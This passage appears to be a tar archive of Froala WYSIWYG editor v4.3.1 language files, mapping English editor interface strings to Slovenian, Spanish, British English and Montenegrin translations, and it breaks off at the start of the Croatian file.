'Vstavi tabelo', 'Table Header': 'Glava tabele', 'Remove Table': 'Odstrani tabelo', 'Table Style': 'Slog tabele', 'Horizontal Align': 'Horizontalna poravnava', 'Row': 'Vrstica', 'Insert row above': 'Vstavi vrstico nad', 'Insert row below': 'Vstavi vrstico pod', 'Delete row': 'Izbriši vrstico', 'Column': 'Stolpec', 'Insert column before': 'Vstavi stolpec pred', 'Insert column after': 'Vstavi stolpec po', 'Delete column': 'Izbriši stolpec', 'Cell': 'Celica', 'Merge cells': 'Združi celice', 'Horizontal split': 'Horizontalni razcep', 'Vertical split': 'Vertikalni razcep', 'Cell Background': 'Ozadje celice', 'Vertical Align': 'Vertikalna poravnava', 'Top': 'Vrh', 'Middle': 'Sredina', 'Bottom': 'Dno', 'Align Top': 'Vrhnja poravnava', 'Align Middle': 'Sredinska poravnava', 'Align Bottom': 'Spodnja poravnava', 'Cell Style': 'Slog celice', // Files 'Upload File': 'Naloži datoteko', 'Drop file': 'Spustite datoteko sem', // Emoticons 'Emoticons': 'Emotikoni', // Line breaker 'Break': 'Zlom', // Math 'Subscript': 'Podpisano', 'Superscript': 'Nadpisano', // Full screen 'Fullscreen': 'Celozaslonski način', // Horizontal line 'Insert Horizontal Line': 'Vstavi vodoravno črto', // Clear formatting 'Clear Formatting': 'Počisti oblikovanje', // Save 'Save': 'Shrani', // Undo, redo 'Undo': 'Razveljavi', 'Redo': 'Ponovno uveljavi', // Select all 'Select All': 'Izberi vse', // Code view 'Code View': 'Prikaži kodo', // Quote 'Quote': 'Citat', 'Increase': 'Povečaj', 'Decrease': 'Zmanjšaj', // Quick Insert 'Quick Insert': 'Hitro vstavljanje', // Spcial Characters 'Special Characters': 'Posebni znaki', 'Latin': 'Latinica', 'Greek': 'Grščina', 'Cyrillic': 'Cirilica', 'Punctuation': 'Ločila', 'Currency': 'Valute', 'Arrows': 'Puščice', 'Math': 'Matematika', 'Misc': 'Razno', // Print. 'Print': 'Natisni', // Spell Checker. 'Spell Checker': 'Črkovalnik', // Help 'Help': 'Pomoč', 'Shortcuts': 'Bližnjice', 'Inline Editor': 'Vdelani urejevalnik', 'Show the editor': 'Pokaži urejevalnik', 'Common actions': 'Skupna dejanja', 'Copy': 'Kopiraj', 'Cut': 'Izreži', 'Paste': 'Prilepi', 'Basic Formatting': 'Osnovno oblikovanje', 'Increase quote level': 'Povečaj raven citata', 'Decrease quote level': 'Zmanjšaj raven citata', 'Image / Video': 'Slika / Video', 'Resize larger': 'Povečaj', 'Resize smaller': 'Pomanjšaj', 'Table': 'Tabela', 'Select table cell': 'Izberi celico tabele', 'Extend selection one cell': 'Razširi izbor za eno celico', 'Extend selection one row': 'Razširi izbor za eno vrstico', 'Navigation': 'Navigacija', 'Focus popup / toolbar': 'Fokusiraj pojavno okno / orodno vrstico', 'Return focus to previous position': 'Vrni fokus v prejšnji položaj', // Embed.ly 'Embed URL': 'Vdelani URL', 'Paste in a URL to embed': 'Prilepite URL za vdelavo', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Prilepljena vsebina prihaja iz dokumenta Microsoft Word. Ali želite obliko obdržati ali jo želite očistiti?', 'Keep': 'Obdrži', 'Clean': 'Počisti', 'Word Paste Detected': 'Zaznano je lepljenje s programa Word', // Character Counter 'Characters': 'Število znakov', // More Buttons 'More Text': 'Možnosti besedila', 'More Paragraph': 'Možnosti odstavka', 'More Rich': 'Več možnosti vstavljanja', 'More Misc': 'Več možnosti' }, direction: 'ltr' }; }))); //# sourceMappingURL=sl.js.map languages/es.js 0000674 00000026573 00000000000 0007440 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Spanish */ FE.LANGUAGE['es'] = { translation: { // Place holder 'Type something': 'Escriba algo', // Missing translations 'More Text': 'Más texto', 'Text Color': 'Color de texto', 'Background Color': 'Color de fondo', 'Inline Class': 'Clase en línea', 'Default': 'Defecto', 'Lower Alpha': 'Alpha inferiores', 'Lower Greek': 'Griegas inferiores', 'Lower Roman': 'Romanas inferiores', 'Upper Alpha': 'Alpha superiores', 'Upper Roman': 'Romanas superiores', 'Circle': 'Circulo', 'Disc': 'Dto', 'Square': 'Cuadrado', 'Single': 'Soltero', 'Double': 'Doble', 'More Rich': 'Más Rico', 'More Misc': 'Más Diverso', 'Download PDF': 'Descargar PDF', // Basic formatting 'Bold': 'Negrita', 'Italic': "It\xE1lica", 'Underline': 'Subrayado', 'Strikethrough': 'Tachado', // Main buttons 'Insert': 'Insertar', 'Delete': 'Borrar', 'Cancel': 'Cancelar', 'OK': 'Ok', 'Back': "Atr\xE1s", 'Remove': 'Quitar', 'More': "M\xE1s", 'Update': "Actualizaci\xF3n", 'Style': 'Estilo', // Font 'Font Family': 'Familia de fuentes', 'Font Size': "Tama\xF1o de fuente", // Colors 'Colors': 'Colores', 'Background': 'Fondo', 'Text': 'Texto', 'HEX Color': 'Color hexadecimal', // Paragraphs 'Paragraph Format': "Formato de p\xE1rrafo", 'Normal': 'Normal', 'Code': "C\xF3digo", 'Heading 1': 'Encabezado 1', 'Heading 2': 'Encabezado 2', 'Heading 3': 'Encabezado 3', 'Heading 4': 'Encabezado 4', 'Line Height': 'Interlineado', // Style 'Paragraph Style': "Estilo de p\xE1rrafo", 'Inline Style': "Estilo en l\xEDnea", // Alignment 'Align': 'Alinear', 'Align Left': 'Alinear a la izquierda', 'Align Center': 'Alinear al centro', 'Align Right': 'Alinear a la derecha', 'Align Justify': 'Justificar', 'None': 'Ninguno', // Lists 'Ordered List': 'Lista ordenada', 'Unordered List': 'Lista desordenada', // Indent 'Decrease Indent': "Reducir sangr\xEDa", 'Increase Indent': "Aumentar sangr\xEDa", // Links 'Insert Link': 'Insertar enlace', 'Open in new tab': "Abrir en una nueva pesta\xF1a", 'Open Link': 'Abrir enlace', 'Edit Link': 'Editar enlace', 'Unlink': 'Quitar enlace', 'Choose Link': 'Elegir enlace', // Images 'Insert Image': 'Insertar imagen', 'Upload Image': 'Cargar imagen', 'By URL': 'Por URL', 'Browse': 'Examinar', 'Drop image': 'Soltar la imagen', 'or click': 'o haga clic en', 'Manage Images': "Administrar im\xE1genes", 'Loading': 'Cargando', 'Deleting': 'Borrado', 'Tags': 'Etiquetas', 'Are you sure? Image will be deleted.': "\xBFEst\xE1 seguro? La imagen ser\xE1 borrada.", 'Replace': 'Reemplazar', 'Uploading': 'Carga', 'Loading image': 'Cargando imagen', 'Display': 'Mostrar', 'Inline': "En l\xEDnea", 'Break Text': 'Romper texto', 'Alternative Text': 'Texto alternativo', 'Change Size': "Cambiar tama\xF1o", 'Width': 'Ancho', 'Height': 'Altura', 'Something went wrong. Please try again.': "Algo sali\xF3 mal. Por favor, vuelva a intentarlo.", 'Image Caption': 'Captura de imagen', 'Advanced Edit': 'Edición avanzada', // Video 'Insert Video': 'Insertar video', 'Embedded Code': "C\xF3digo incrustado", 'Paste in a video URL': 'Pegar en una URL de video', 'Drop video': 'Soltar video', 'Your browser does not support HTML5 video.': 'Su navegador no es compatible con video html5.', 'Upload Video': 'Subir video', // Tables 'Insert Table': 'Insertar tabla', 'Table Header': 'Encabezado de la tabla', 'Remove Table': 'Retire la tabla', 'Table Style': 'Estilo de tabla', 'Horizontal Align': 'Alinear horizontal', 'Row': 'Fila', 'Insert row above': 'Insertar fila antes', 'Insert row below': "Insertar fila despu\xE9s", 'Delete row': 'Eliminar fila', 'Column': 'Columna', 'Insert column before': 'Insertar columna antes', 'Insert column after': "Insertar columna despu\xE9s", 'Delete column': 'Eliminar columna', 'Cell': 'Celda', 'Merge cells': 'Combinar celdas', 'Horizontal split': "Divisi\xF3n horizontal", 'Vertical split': "Divisi\xF3n vertical", 'Cell Background': 'Fondo de la celda', 'Vertical Align': 'Alinear vertical', 'Top': 'Cima', 'Middle': 'Medio', 'Bottom': 'Del fondo', 'Align Top': 'Alinear a la parte superior', 'Align Middle': 'Alinear media', 'Align Bottom': 'Alinear abajo', 'Cell Style': 'Estilo de celda', // Files 'Upload File': 'Subir archivo', 'Drop file': 'Soltar archivo', // Emoticons 'Emoticons': 'Emoticonos', 'Grinning face': 'Cara sonriendo', 'Grinning face with smiling eyes': 'Cara sonriendo con ojos sonrientes', 'Face with tears of joy': "Cara con l\xE1grimas de alegr\xEDa", 'Smiling face with open mouth': 'Cara sonriente con la boca abierta', 'Smiling face with open mouth and smiling eyes': 'Cara sonriente con la boca abierta y los ojos sonrientes', 'Smiling face with open mouth and cold sweat': "Cara sonriente con la boca abierta y el sudor fr\xEDo", 'Smiling face with open mouth and tightly-closed eyes': 'Cara sonriente con la boca abierta y los ojos fuertemente cerrados', 'Smiling face with halo': 'Cara sonriente con halo', 'Smiling face with horns': 'Cara sonriente con cuernos', 'Winking face': "Gui\xF1o de la cara", 'Smiling face with smiling eyes': 'Cara sonriente con ojos sonrientes', 'Face savoring delicious food': 'Cara de saborear una deliciosa comida', 'Relieved face': 'Cara Aliviado', 'Smiling face with heart-shaped eyes': "Cara sonriente con los ojos en forma de coraz\xF3n", 'Smiling face with sunglasses': 'Cara sonriente con gafas de sol', 'Smirking face': 'Sonriendo cara', 'Neutral face': 'Cara neutral', 'Expressionless face': 'Rostro inexpresivo', 'Unamused face': 'Cara aburrida', 'Face with cold sweat': "Cara con sudor fr\xEDo", 'Pensive face': 'Rostro pensativo', 'Confused face': 'Cara confusa', 'Confounded face': 'Cara aturdida', 'Kissing face': 'Cara besando', 'Face throwing a kiss': 'Cara lanzando un beso', 'Kissing face with smiling eyes': 'Cara besando con ojos sonrientes', 'Kissing face with closed eyes': 'Cara besando con los ojos cerrados', 'Face with stuck out tongue': 'Cara con la lengua pegada', 'Face with stuck out tongue and winking eye': 'Cara con la lengua pegada y el ojo parpadeante', 'Face with stuck out tongue and tightly-closed eyes': 'Cara con la lengua pegada y los ojos fuertemente cerrados', 'Disappointed face': 'Cara de decepcionado', 'Worried face': "Cara de preocupaci\xF3n", 'Angry face': 'Cara enojada', 'Pouting face': 'Que pone mala cara', 'Crying face': 'Cara llorando', 'Persevering face': 'Cara de perseverancia', 'Face with look of triumph': "Cara con expresi\xF3n de triunfo", 'Disappointed but relieved face': 'Decepcionado pero el rostro aliviado', 'Frowning face with open mouth': "Cara con la boca abierta con el ce\xF1o fruncido", 'Anguished face': 'Rostro angustiado', 'Fearful face': 'Cara temerosa', 'Weary face': 'Rostro cansado', 'Sleepy face': 'Rostro somnoliento', 'Tired face': 'Rostro cansado', 'Grimacing face': 'Cara haciendo una mueca', 'Loudly crying face': 'Cara llorando en voz alta', 'Face with open mouth': 'Cara con la boca abierta', 'Hushed face': 'Cara callada', 'Face with open mouth and cold sweat': 'Cara con la boca abierta y el sudor frío', 'Face screaming in fear': 'Cara gritando de miedo', 'Astonished face': 'Cara asombrosa', 'Flushed face': 'Cara enrojecida', 'Sleeping face': 'Rostro dormido', 'Dizzy face': 'Cara mareada', 'Face without mouth': 'Cara sin boca', 'Face with medical mask': "Cara con la m\xE1scara m\xE9dica", // Line breaker 'Break': 'Romper', // Math 'Subscript': "Sub\xEDndice", 'Superscript': "Super\xEDndice", // Full screen 'Fullscreen': 'Pantalla completa', // Horizontal line 'Insert Horizontal Line': "Insertar l\xEDnea horizontal", // Clear formatting 'Clear Formatting': 'Quitar el formato', // Undo, redo 'Undo': 'Deshacer', 'Redo': 'Rehacer', // Select all 'Select All': 'Seleccionar todo', // Code view 'Code View': "Vista de c\xF3digo", // Quote 'Quote': 'Cita', 'Increase': 'Aumentar', 'Decrease': "Disminuci\xF3n", // Quick Insert 'Quick Insert': "Inserci\xF3n r\xE1pida", // Spcial Characters 'Special Characters': 'Caracteres especiales', 'Latin': 'Latín', 'Greek': 'Griego', 'Cyrillic': 'Cirílico', 'Punctuation': 'Puntuación', 'Currency': 'Moneda', 'Arrows': 'Flechas', 'Math': 'Mates', 'Misc': 'Misc', // Print. 'Print': 'Impresión', // Spell Checker. 'Spell Checker': 'Corrector ortográfico', // Help 'Help': 'Ayuda', 'Shortcuts': 'Atajos', 'Inline Editor': 'Editor en línea', 'Show the editor': 'Mostrar al editor', 'Common actions': 'Acciones comunes', 'Copy': 'Copiar', 'Cut': 'Cortar', 'Paste': 'Pegar', 'Basic Formatting': 'Formato básico', 'Increase quote level': 'Aumentar el nivel de cotización', 'Decrease quote level': 'Disminuir el nivel de cotización', 'Image / Video': 'Imagen / video', 'Resize larger': 'Redimensionar más grande', 'Resize smaller': 'Redimensionar más pequeño', 'Table': 'Mesa', 'Select table cell': 'Celda de tabla select', 'Extend selection one cell': 'Ampliar la selección una celda', 'Extend selection one row': 'Ampliar la selección una fila', 'Navigation': 'Navegación', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Volver al foco a la posición anterior', // Embed.ly 'Embed URL': 'URL de inserción', 'Paste in a URL to embed': 'Pegar en una url para incrustar', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'El contenido pegado viene de un documento de Microsoft Word. ¿Quieres mantener el formato o limpiarlo?', 'Keep': 'Guardar', 'Clean': 'Limpiar', 'Word Paste Detected': 'Palabra detectada' }, direction: 'ltr' }; }))); //# sourceMappingURL=es.js.map languages/en_gb.js 0000674 00000016241 00000000000 0010072 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * English spoken in Great Britain */ FE.LANGUAGE['en_gb'] = { translation: { // Place holder 'Type something': 'Type something', // Basic formatting 'Bold': 'Bold', 'Italic': 'Italic', 'Underline': 'Underline', 'Strikethrough': 'Strikethrough', // Main buttons 'Insert': 'Insert', 'Delete': 'Delete', 'Cancel': 'Cancel', 'OK': 'OK', 'Back': 'Back', 'Remove': 'Remove', 'More': 'More', 'Update': 'Update', 'Style': 'Style', // Font 'Font Family': 'Font Family', 'Font Size': 'Font Size', // Colors 'Colors': 'Colours', 'Background': 'Background', 'Text': 'Text', 'HEX Color': 'HEX Colour', // Paragraphs 'Paragraph Format': 'Paragraph Format', 'Normal': 'Normal', 'Code': 'Code', 'Heading 1': 'Heading 1', 'Heading 2': 'Heading 2', 'Heading 3': 'Heading 3', 'Heading 4': 'Heading 4', // Style 'Paragraph Style': 'Paragraph Style', 'Inline Style': 'Inline Style', // Alignment 'Align': 'Align', 'Align Left': 'Align Left', 'Align Center': 'Align Centre', 'Align Right': 'Alight Right', 'Align Justify': 'Align Justify', 'None': 'None', // Lists 'Ordered List': 'Ordered List', 'Unordered List': 'Unordered List', // Indent 'Decrease Indent': 'Decrease Indent', 'Increase Indent': 'Increase Indent', // Links 'Insert Link': 'Insert Link', 'Open in new tab': 'Open in new tab', 'Open Link': 'Open Link', 'Edit Link': 'Edit Link', 'Unlink': 'Unlink', 'Choose Link': 'Choose Link', // Images 'Insert Image': 'Insert Image', 'Upload Image': 'Upload Image', 'By URL': 'By URL', 'Browse': 'Browse', 'Drop image': 'Drop image', 'or click': 'or click', 'Manage Images': 'Manage Images', 'Loading': 'Loading', 'Deleting': 'Deleting', 'Tags': 'Tags', 'Are you sure? Image will be deleted.': 'Are you sure? Image will be deleted.', 'Replace': 'Replace', 'Uploading': 'Uploading', 'Loading image': 'Loading image', 'Display': 'Display', 'Inline': 'Inline', 'Break Text': 'Break Text', 'Alternative Text': 'Alternative Text', 'Change Size': 'Change Size', 'Width': 'Width', 'Height': 'Height', 'Something went wrong. Please try again.': 'Something went wrong. Please try again.', 'Image Caption': 'Image Caption', 'Advanced Edit': 'Advanced Edit', // Video 'Insert Video': 'Insert Video', 'Embedded Code': 'Embedded Code', 'Paste in a video URL': 'Paste in a video URL', 'Drop video': 'Drop video', 'Your browser does not support HTML5 video.': 'Your browser does not support HTML5 video.', 'Upload Video': 'Upload Video', // Tables 'Insert Table': 'Insert Table', 'Table Header': 'Table Header', 'Remove Table': 'Remove Table', 'Table Style': 'Table Style', 'Horizontal Align': 'Horizontal Align', 'Row': 'Row', 'Insert row above': 'Insert row above', 'Insert row below': 'Insert row below', 'Delete row': 'Delete row', 'Column': 'Column', 'Insert column before': 'Insert column before', 'Insert column after': 'Insert column after', 'Delete column': 'Delete column', 'Cell': 'Cell', 'Merge cells': 'Merge cells', 'Horizontal split': 'Horizontal split', 'Vertical split': 'Vertical split', 'Cell Background': 'Cell Background', 'Vertical Align': 'Vertical Align', 'Top': 'Top', 'Middle': 'Middle', 'Bottom': 'Bottom', 'Align Top': 'Align Top', 'Align Middle': 'Align Middle', 'Align Bottom': 'Align Bottom', 'Cell Style': 'Cell Style', // Files 'Upload File': 'Upload File', 'Drop file': 'Drop file', // Emoticons 'Emoticons': 'Emoticons', // Line breaker 'Break': 'Break', // Math 'Subscript': 'Subscript', 'Superscript': 'Superscript', // Full screen 'Fullscreen': 'Fullscreen', // Horizontal line 'Insert Horizontal Line': 'Insert Horizontal Line', // Clear formatting 'Clear Formatting': 'Cell Formatting', // Save 'Save': 'Save', // Undo, redo 'Undo': 'Undo', 'Redo': 'Redo', // Select all 'Select All': 'Select All', // Code view 'Code View': 'Code View', // Quote 'Quote': 'Quote', 'Increase': 'Increase', 'Decrease': 'Decrease', // Quick Insert 'Quick Insert': 'Quick Insert', // Spcial Characters 'Special Characters': 'Special Characters', 'Latin': 'Latin', 'Greek': 'Greek', 'Cyrillic': 'Cyrillic', 'Punctuation': 'Punctuation', 'Currency': 'Currency', 'Arrows': 'Arrows', 'Math': 'Math', 'Misc': 'Misc', // Print. 'Print': 'Print', // Spell Checker. 'Spell Checker': 'Spell Checker', // Help 'Help': 'Help', 'Shortcuts': 'Shortcuts', 'Inline Editor': 'Inline Editor', 'Show the editor': 'Show the editor', 'Common actions': 'Common actions', 'Copy': 'Copy', 'Cut': 'Cut', 'Paste': 'Paste', 'Basic Formatting': 'Basic Formatting', 'Increase quote level': 'Increase quote level', 'Decrease quote level': 'Decrease quote level', 'Image / Video': 'Image / Video', 'Resize larger': 'Resize larger', 'Resize smaller': 'Resize smaller', 'Table': 'Table', 'Select table cell': 'Select table cell', 'Extend selection one cell': 'Extend selection one cell', 'Extend selection one row': 'Extend selection one row', 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Return focus to previous position', // Embed.ly 'Embed URL': 'Embed URL', 'Paste in a URL to embed': 'Paste in a URL to embed', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?', 'Keep': 'Keep', 'Clean': 'Clean', 'Word Paste Detected': 'Word Paste Detected', // Character Counter 'Characters': 'Characters', // More Buttons 'More Text': 'More Text', 'More Paragraph': 'More Paragraph', 'More Rich': 'More Rich', 'More Misc': 'More Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=en_gb.js.map languages/me.js 0000674 00000025636 00000000000 0007431 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Montenegrin */ FE.LANGUAGE['me'] = { translation: { // Place holder 'Type something': "Ukucajte ne\u0161tp", // Basic formatting 'Bold': 'Bold', 'Italic': 'Italic', 'Underline': "Podvu\u010Deno", 'Strikethrough': "Prekri\u017Eano", // Main buttons 'Insert': 'Umetni', 'Delete': "Obri\u0161i", 'Cancel': "Otka\u017Ei", 'OK': 'U redu', 'Back': 'Natrag', 'Remove': 'Ukloni', 'More': "Vi\u0161e", 'Update': "A\u017Euriranje", 'Style': 'Stil', // Font 'Font Family': 'Odaberi font', 'Font Size': "Veli\u010Dina fonta", // Colors 'Colors': 'Boje', 'Background': 'Pozadine', 'Text': 'Teksta', 'HEX Color': 'HEX boje', // Paragraphs 'Paragraph Format': 'Paragraf formatu', 'Normal': 'Normalno', 'Code': 'Izvorni kod', 'Heading 1': 'Naslov 1', 'Heading 2': 'Naslov 2', 'Heading 3': 'Naslov 3', 'Heading 4': 'Naslov 4', // Style 'Paragraph Style': 'Paragraf stil', 'Inline Style': 'Inline stil', // Alignment 'Align': 'Poravnaj', 'Align Left': 'Poravnaj lijevo', 'Align Center': 'Poravnaj po sredini', 'Align Right': 'Poravnaj desno', 'Align Justify': 'Cjelokupno poravnanje', 'None': 'Nijedan', // Lists 'Ordered List': "Ure\u0111ena lista", 'Unordered List': "Nesre\u0111ene lista", // Indent 'Decrease Indent': 'Smanjenje alineja', 'Increase Indent': "Pove\u0107anje alineja", // Links 'Insert Link': 'Umetni link', 'Open in new tab': 'Otvori u novom prozoru', 'Open Link': 'Otvori link', 'Edit Link': 'Uredi link', 'Unlink': 'Ukloni link', 'Choose Link': 'Izabrati link', // Images 'Insert Image': 'Umetni sliku', 'Upload Image': 'Upload sliku', 'By URL': 'Preko URL', 'Browse': 'Pregledaj', 'Drop image': 'Izbaci sliku', 'or click': 'ili odaberi', 'Manage Images': 'Upravljanje ilustracijama', 'Loading': 'Koji tovari', 'Deleting': 'Brisanje', 'Tags': 'Oznake', 'Are you sure? Image will be deleted.': "Da li ste sigurni da \u017Eelite da obri\u0161ete ovu ilustraciju?", 'Replace': 'Zamijenite', 'Uploading': 'Uploading', 'Loading image': 'Koji tovari sliku', 'Display': 'Prikaz', 'Inline': 'Inline', 'Break Text': 'Break tekst', 'Alternative Text': 'Alternativna tekst', 'Change Size': "Promijeni veli\u010Dinu", 'Width': "\u0161irina", 'Height': 'Visina', 'Something went wrong. Please try again.': "Ne\u0161to je po\u0161lo po zlu. Molimo vas da poku\u0161ate ponovo.", 'Image Caption': 'Slika natpisa', 'Advanced Edit': 'Napredno uređivanje', // Video 'Insert Video': 'Umetni video', 'Embedded Code': 'Embedded kod', 'Paste in a video URL': 'Prilepite v URL video posnetka', 'Drop video': 'Izbaci video', 'Your browser does not support HTML5 video.': 'Váš prehliadač nepodporuje video HTML5.', 'Upload Video': 'Upload video', // Tables 'Insert Table': 'Umetni tabelu', 'Table Header': 'Zaglavlje tabelu', 'Remove Table': "Izbri\u0161i tabelu", 'Table Style': 'Tabelu stil', 'Horizontal Align': 'Horizontalna poravnanje', 'Row': 'Red', 'Insert row above': 'Umetni red iznad', 'Insert row below': 'Umetni red ispod', 'Delete row': "Obri\u0161i red", 'Column': 'Kolona', 'Insert column before': 'Umetni kolonu prije', 'Insert column after': 'Umetni kolonu poslije', 'Delete column': "Obri\u0161i kolonu", 'Cell': "\u0106elija", 'Merge cells': "Spoji \u0107elija", 'Horizontal split': 'Horizontalno razdvajanje polja', 'Vertical split': 'Vertikalno razdvajanje polja', 'Cell Background': "\u0106elija pozadini", 'Vertical Align': 'Vertikalni poravnaj', 'Top': 'Vrh', 'Middle': 'Srednji', 'Bottom': 'Dno', 'Align Top': 'Poravnaj vrh', 'Align Middle': 'Poravnaj srednji', 'Align Bottom': 'Poravnaj dno', 'Cell Style': "\u0106elija stil", // Files 'Upload File': 'Upload datoteke', 'Drop file': 'Drop datoteke', // Emoticons 'Emoticons': 'Emotikona', 'Grinning face': "Cere\u0107i lice", 'Grinning face with smiling eyes': "Cere\u0107i lice nasmijana o\u010Dima", 'Face with tears of joy': 'Lice sa suze radosnice', 'Smiling face with open mouth': 'Nasmijana lica s otvorenih usta', 'Smiling face with open mouth and smiling eyes': "Nasmijana lica s otvorenih usta i nasmijana o\u010Di", 'Smiling face with open mouth and cold sweat': 'Nasmijana lica s otvorenih usta i hladan znoj', 'Smiling face with open mouth and tightly-closed eyes': "Nasmijana lica s otvorenih usta i \u010Dvrsto-zatvorenih o\u010Diju", 'Smiling face with halo': 'Nasmijana lica sa halo', 'Smiling face with horns': 'Nasmijana lica s rogovima', 'Winking face': 'Namigivanje lice', 'Smiling face with smiling eyes': "Nasmijana lica sa nasmijana o\u010Dima", 'Face savoring delicious food': "Suo\u010Davaju u\u017Eivaju\u0107i ukusna hrana", 'Relieved face': 'Laknulo lice', 'Smiling face with heart-shaped eyes': "Nasmijana lica sa obliku srca o\u010Di", 'Smiling face with sunglasses': "Nasmijana lica sa sun\u010Dane nao\u010Dare", 'Smirking face': "Namr\u0161tena lica", 'Neutral face': 'Neutral lice', 'Expressionless face': "Bezizra\u017Eajno lice", 'Unamused face': 'Nije zabavno lice', 'Face with cold sweat': 'Lice s hladnim znojem', 'Pensive face': "Zami\u0161ljen lice", 'Confused face': 'Zbunjen lice', 'Confounded face': "Uzbu\u0111en lice", 'Kissing face': 'Ljubakanje lice', 'Face throwing a kiss': "Suo\u010Davaju bacanje poljubac", 'Kissing face with smiling eyes': "Ljubljenje lice nasmijana o\u010Dima", 'Kissing face with closed eyes': "Ljubljenje lice sa zatvorenim o\u010Dima", 'Face with stuck out tongue': "Lice sa ispru\u017Eio jezik", 'Face with stuck out tongue and winking eye': "Lice sa ispru\u017Eio jezik i trep\u0107u\u0107e \u0107e oko", 'Face with stuck out tongue and tightly-closed eyes': "Lice sa ispru\u017Eio jezik i \u010Dvrsto zatvorene o\u010Di", 'Disappointed face': "Razo\u010Daran lice", 'Worried face': 'Zabrinuti lice', 'Angry face': 'Ljut lice', 'Pouting face': "Napu\u0107enim lice", 'Crying face': 'Plakanje lice', 'Persevering face': 'Istrajan lice', 'Face with look of triumph': 'Lice s pogledom trijumfa', 'Disappointed but relieved face': "Razo\u010Daran, ali olak\u0161anje lice", 'Frowning face with open mouth': "Namr\u0161tiv\u0161i lice s otvorenih usta", 'Anguished face': 'Bolnom lice', 'Fearful face': "Pla\u0161ljiv lice", 'Weary face': 'Umoran lice', 'Sleepy face': 'Pospan lice', 'Tired face': 'Umorno lice', 'Grimacing face': 'Grimase lice', 'Loudly crying face': "Glasno pla\u010De lice", 'Face with open mouth': 'Lice s otvorenih usta', 'Hushed face': 'Smiren lice', 'Face with open mouth and cold sweat': 'Lice s otvorenih usta i hladan znoj', 'Face screaming in fear': "Suo\u010Davaju vri\u0161ti u strahu", 'Astonished face': 'Zapanjen lice', 'Flushed face': 'Rumeno lice', 'Sleeping face': 'Usnulo lice', 'Dizzy face': "O\u0161amu\u0107en lice", 'Face without mouth': 'Lice bez usta', 'Face with medical mask': 'Lice sa medicinskom maskom', // Line breaker 'Break': 'Slomiti', // Math 'Subscript': 'Potpisan', 'Superscript': 'Natpis', // Full screen 'Fullscreen': 'Preko cijelog zaslona', // Horizontal line 'Insert Horizontal Line': 'Umetni vodoravna liniju', // Clear formatting 'Clear Formatting': 'Izbrisati formatiranje', // Save 'Save': 'Save', // Undo, redo 'Undo': 'Korak nazad', 'Redo': 'Korak naprijed', // Select all 'Select All': "Ozna\u010Di sve", // Code view 'Code View': 'Kod pogled', // Quote 'Quote': 'Citat', 'Increase': "Pove\u0107ati", 'Decrease': 'Smanjenje', // Quick Insert 'Quick Insert': 'Brzo umetni', // Spcial Characters 'Special Characters': 'Specijalni znakovi', 'Latin': 'Latino', 'Greek': 'Grk', 'Cyrillic': 'Ćirilica', 'Punctuation': 'Interpunkcije', 'Currency': 'Valuta', 'Arrows': 'Strelice', 'Math': 'Matematika', 'Misc': 'Misc', // Print. 'Print': 'Odštampaj', // Spell Checker. 'Spell Checker': 'Kontrolor pravopisa', // Help 'Help': 'Pomoć', 'Shortcuts': 'Prečice', 'Inline Editor': 'Pri upisivanju Editor', 'Show the editor': 'Prikaži urednik', 'Common actions': 'Zajedničke akcije', 'Copy': 'Kopija', 'Cut': 'Rez', 'Paste': 'Nalepi', 'Basic Formatting': 'Osnovno oblikovanje', 'Increase quote level': 'Povećati ponudu za nivo', 'Decrease quote level': 'Smanjenje ponude nivo', 'Image / Video': 'Slika / Video', 'Resize larger': 'Veće veličine', 'Resize smaller': 'Promena veličine manji', 'Table': 'Sto', 'Select table cell': 'Select ćelije', 'Extend selection one cell': 'Proširite selekciju jednu ćeliju', 'Extend selection one row': 'Proširite selekciju jedan red', 'Navigation': 'Navigacija', 'Focus popup / toolbar': 'Fokus Iskačući meni / traka sa alatkama', 'Return focus to previous position': 'Vratiti fokus na prethodnu poziciju', // Embed.ly 'Embed URL': 'Ugradite URL', 'Paste in a URL to embed': 'Nalepite URL adresu da biste ugradili', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Nalepljeni sadržaj dolazi iz Microsoft Word dokument. Da li želite zadržati u formatu ili počistiti?', 'Keep': 'Nastavi', 'Clean': 'Oиisti', 'Word Paste Detected': 'Word Nalepi otkriven', // Character Counter 'Characters': 'Likovi', // More Buttons 'More Text': 'More tekst', 'More Paragraph': 'More Paragraf', 'More Rich': 'More Rich', 'More Misc': 'More Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=me.js.map languages/hr.js 0000674 00000025711 00000000000 0007433 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * 